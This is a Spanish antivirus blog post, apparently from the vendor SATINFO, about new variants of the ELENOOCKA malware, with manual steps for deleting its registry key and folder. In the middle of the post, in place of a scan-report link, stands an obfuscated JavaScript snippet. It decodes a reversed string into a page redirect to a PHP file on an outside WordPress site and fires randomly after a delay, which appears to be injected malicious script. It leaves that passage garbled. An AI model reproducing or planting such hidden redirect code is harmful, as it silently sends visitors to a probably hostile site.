Nuevas variantes de MALWARE ELENOOCKA que pasamos a controlar

A partir del ELISTARA 38.58 de hoy pasamos a controlar nuevas variantes de este conocido malware, para el que puede necesitarse proceder manualmente para su eliminacion, al cargarse en memoria aun arrancando en MODO SEGURO, y el nombre de la Carpeta, del Fichero y de la Clave varian en cada instalación. Además, mientras este activo, ofrece acceso denegado a la carpeta y a la Clave. (con Propietario “SYSTEM” y permisos especiales)

Eliminación Manual:

1º Cambiar el Propietario de la Clave, darle permisos de control total y eliminarla
2º Reiniciar el sistema
3º Cambiar el Propietario de la Carpeta, darle permisos de control total y eliminarla

total ofrece el siguiente informe

Dicha versión del ELISTARA 38.58 que lo detecta, si ya se tiene acceso a su carpeta, estará disponible en nuestra web a partir del prox. 3/3

Y otras variantes de la misma familia, con similares características, que ya controlamos con el ELISTARA de ayer, son las siguientes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/23b9119962616b89792c03108a338497cb2ccf97320eede15c3e5a6fbcd9a048/analysis/1519980944/” target=”_blank” rel=”noopener”>preanalisis sobre muestra b1ad298b.exe

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.